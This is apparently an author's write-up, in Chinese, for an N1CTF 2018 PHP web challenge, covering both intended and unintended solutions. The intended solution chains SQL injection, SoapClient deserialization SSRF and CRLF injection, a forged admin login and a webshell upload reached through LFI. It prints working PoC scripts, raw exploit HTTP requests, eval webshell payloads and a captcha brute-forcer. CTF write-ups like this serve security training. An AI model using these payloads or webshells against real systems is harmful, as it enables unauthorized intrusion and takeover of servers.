预期解法

首先我们用脚本扫描目录得到

我们发现 index.php~

config.php~

我们猜测还有个 user.php~

这些文件都是被一些编辑器留下的备份文件

通过审计 index.php~, 我们可以看到目录 views, 这里可以列目录,然后就可以得到剩下的源码

现在我们已经获得了全部的源码,接下来就是代码审计环节了

首先我们审计 config.php~ , 他对所有的输入用了 addslashes()

但是我们发现其他有趣的东西 , 在函数 insert() , 我们发现他替换了所有的 [grave accent]xxx[grave accent]'xxx' , 所以就有机会进行注入

通过审计 user.php, 我们发现了一个利用点在 publish().

这个利用点的调用方式为 action=publish, 但是想要发布心情需要注册并登陆
index.php?action=register
index.php?action=login

你可以写脚本来过这些验证码

import multiprocessing
from os import urandom
from hashlib import md5
import sys

processor_number = 8


def work(cipher):
    for i in xrange(100):
        plain = urandom(16).encode('hex')
        if md5(plain).hexdigest()[:5] == cipher:
            print plain
            sys.exit(0)


if __name__ == '__main__':
    cipher = raw_input('md5:')
    print 'Processor Number:', multiprocessing.cpu_count()
    pool = multiprocessing.Pool(processes=processor_number)
    while True:
        plain = urandom(16).encode('hex')
        pool.apply_async(work, (cipher, ))
    pool.close()
    pool.join()

当我们成功登陆后,开始测试sql注入

通过注入,我们能获得库中的数据

table ctf_users

一些参赛选手私戳我说不知道如何去判断是不是admin,通过审计代码,很容易发现admin的索引

select * from ctf_users where is_admin<>0;

得到了用户名和密码的hash后,我们可以通过公告里面的地址复原明文

http://47.52.137.90:20000/getmd5.php?md5={your md5}

或者使用一些在线的网站解密
http://www.cmd5.org/

密码是 nu1ladmin

但是你还是登录不了,为什么?

因为admin关闭了这个选项 allow_diff_ip,既不能异地登录

你必须来自 127.0.0.1 才行

我们来看下获取ip的函数 getip()

他看上去是让你绕过 $_SERVER['REMOTE_ADDR'] 伪造ip, 但是如果你能找到一个ssrf的话,同样可以以127.0.0.1的身份登录

SSRF在哪里呢?

在寻找SSRF的过程中我们发现了另一个漏洞:反序列化漏洞

他在 user.php 函数 showmess()

他看上去会因为sql注入引发反序列化漏洞。

所以我们可以注入

a`, {serialize object});#

到库中
然后他会在你访问
index.php?action=index 的时候触发

但是我们找不到一个可以利用的类

如果你看了 phpinfo 然后目标一开始就定在了 SSRF ,你的思路在魔术函数上

你会发现一个类 SoapClient

这个类是用来创建soap数据报文,与wsdl接口进行交互的

它的成员函数有:

它的利用条件是

在这个题目里是ok的,在大多数情况也是ok的,基本等同于php的一个内置类.

这个类的用法如下

通过传入两个参数,第一个是 $url, 既目标url, 第二个参数是一个数组,里面是soap请求的一些参数和属性。

我们来查阅一下第二个参数(options)的相关介绍:

我们可以看到这个类传入的第一个参数为 $wsdl

控制是否是wsdl模式,如果为NULL,就是非wsdl模式.
如果是非wsdl模式,反序列化的时候就会对options中的url进行远程soap请求,

我们可以在 PHP 源码中看到

如果是wsdl模式,在序列化之前就会对$url参数进行请求,从而无法可控序列化数据。

我们可以尝试:

<?php
$a = new SoapClient(null, array('location' => "http://123.206.216.198:8887",
                                     'uri'      => "123"));
echo serialize($a);
?>

运行一下得到

O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:27:"http://123.206.216.198:8887";s:13:"_soap_version";i:1;}

我在我的vps上执行 nc -lvv 8887

当我把这个序列化串传入 unserialize 然后执行一个SoapClient没有的成员函数时

你可以看到我成功获得了soap请求, 我们可以发现我们可控的地方是 uri

让我们从__call开始看下整个过程:

options参数是SoapClient的第二个参数

然后他被赋值给 hto

hto中提取uri对应的值赋值给uri

然后把 uri 传给 do_soap_call()

uri 被添加到 action

然后 action 被传给 do_request()

action 被加到 params 里面

然后 prarams 被传入 __doRequest()

我们可以发现 action 被传入到里面了

然后 action 被传到 make_http_soap_request() 被命名为 soapaction

在它前后分别加上双引号就直接拼接到header里面了

最后完成整个请求过程

通过刚才的步骤我们发现如果把 \x0d\x0a 注入到 SOAPAction , 这个POST请求的部分header会被控制(CRLF)

但是我们不能控制 Content-Type,就不能控制POST的数据,所以就不能登录admin。

继续阅读php源码,我们发现

user_agent 选项同样可以造成 CRLF

在header里 User-AgentContent-Type 前面, 我们我们可以很轻松的控制整个POST报文

我写了一个可以生成任意POST报文的POC

<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: xxxx=1234'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>

然后就可以生成一个admin登录的报文,只要控制phpsess和你的相同,登录的验证码就和你的一样了。

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=cf44f3147ab331af7d66943d888c86f9';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

最终的POC为

POST /index.php HTTP/1.1
Host: 47.97.221.96
Content-Length: 42
Cache-Control: max-age=0
Origin: http://47.97.221.96
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://47.97.221.96/index.php?action=publish
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=jkm1bjq0vl40u27p6fiqm5j9u7
Connection: close

signature=aaa`,0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a343a2261616162223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31313a225f757365725f6167656e74223b733a3232333a22777570636f0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a582d466f727761726465642d466f723a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d33737475303564723936396f676d70726b323864726e6a7539330d0a436f6e74656e742d4c656e6774683a2037310d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6e75316c61646d696e26636f64653d6366343466333134376162333331616637643636393433643838386338366639223b733a31333a225f736f61705f76657273696f6e223b693a313b7d)%23&mood=1
GET /index.php?action=index HTTP/1.1
Host: 47.97.221.96
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=jkm1bjq0vl40u27p6fiqm5j9u7

然后你可以刷新PHPSESSID=3stu05dr969ogmprk28drnju93的浏览器, 你现在就是admin了~

如果你是admin,将会解锁上传文件的功能

让我们看看有关代码 config.php

函数 upload()

如果你上传的文件包含 <?php,就会运行一个bash clean_danger.sh
你可以利用 LFI读取这个bash

cd /app/adminpic/
rm *.jpg

如何绕过它呢?


1> 使用linux命令的一个feature

当我们创建诸如 -xaaaaaaa.jpg的文件后
我们不能通过 rm * or rm *.jpg 删除它,除非 rm -r adminpic/


2> 使用段标签

你可以发现 short_open_tag = Off 在 phpinfo

但是

因为php版本高于5.4 你依然可以使用 <?= 拿到webshell


当你上传成功后,你需要爆破文件名

生成时间戳别忘了设置 date_default_timezone_set("PRC");

然后利用 LFI 拿到webshell

index.php?action=../../../../app/adminpic/-ensa15208146021.jpg

flag在数据库中,root的密码可以在/run.sh中找到

n1ctf{php_unserialize_ssrf_crlf_injection_is_easy:p}

非预期解法

因为准备仓促,突然决定使用docker,所以随便pull了一个,没想到各种配置存在问题,所以导致以下非预期解法

session.upload

http://php.net/manual/zh/session.upload-progress.php

session.upload_progress.enabled这个参数在php.ini 默认开启,需要手动置为Off

如果不是Off,就会在上传的过程中生成上传进度文件,它的存储路径可以在phpinfo获取到

/var/lib/php5/sess_{your_php_session_id}

如果你构造一个这样的报文(from @berTrAM),不断的向服务端发送

POST / HTTP/1.1
Host: 47.52.246.175:23333
Proxy-Connection: keep-alive
Content-Length: 648
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2rwkUEtFdqhGMHqV
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5uu8r952rejihbg033m5mckb17

------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?=`echo '<?php eval($_REQUEST[bertram])?>'>bertram.php`?>
------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file2"; filename="1.php"
Content-Type: text/php

<?php eval($_POST[1]);?>

------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file1"; filename="2.asp"
Content-Type: application/octet-stream

< %eval request("a")%>

------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundary2rwkUEtFdqhGMHqV--

就会在

/var/lib/php5/sess_5uu8r952rejihbg033m5mckb17

不断刷新生成包含恶意php代码的文件

然后通过LFI包含这个文件

action=../../../../../var/lib/php5/sess_5uu8r952rejihbg033m5mckb17

即可getshell

xdebug

通过pull下来这个docker可以发现

/var/www/phpinfo/index.php

是一个phpinfo

于是利用LFI包含这个文件,接下来就与rr师傅在whctf出的那道题一样了

https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface

/tmp/临时文件竞争

虽然我设置了2秒一删tmp,但是因为

/var/www/phpinfo/index.php

的关系,可以获取正确的文件名,完全可以getshell
具体参考这位选手做法

http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/

源链接

Hacking more

...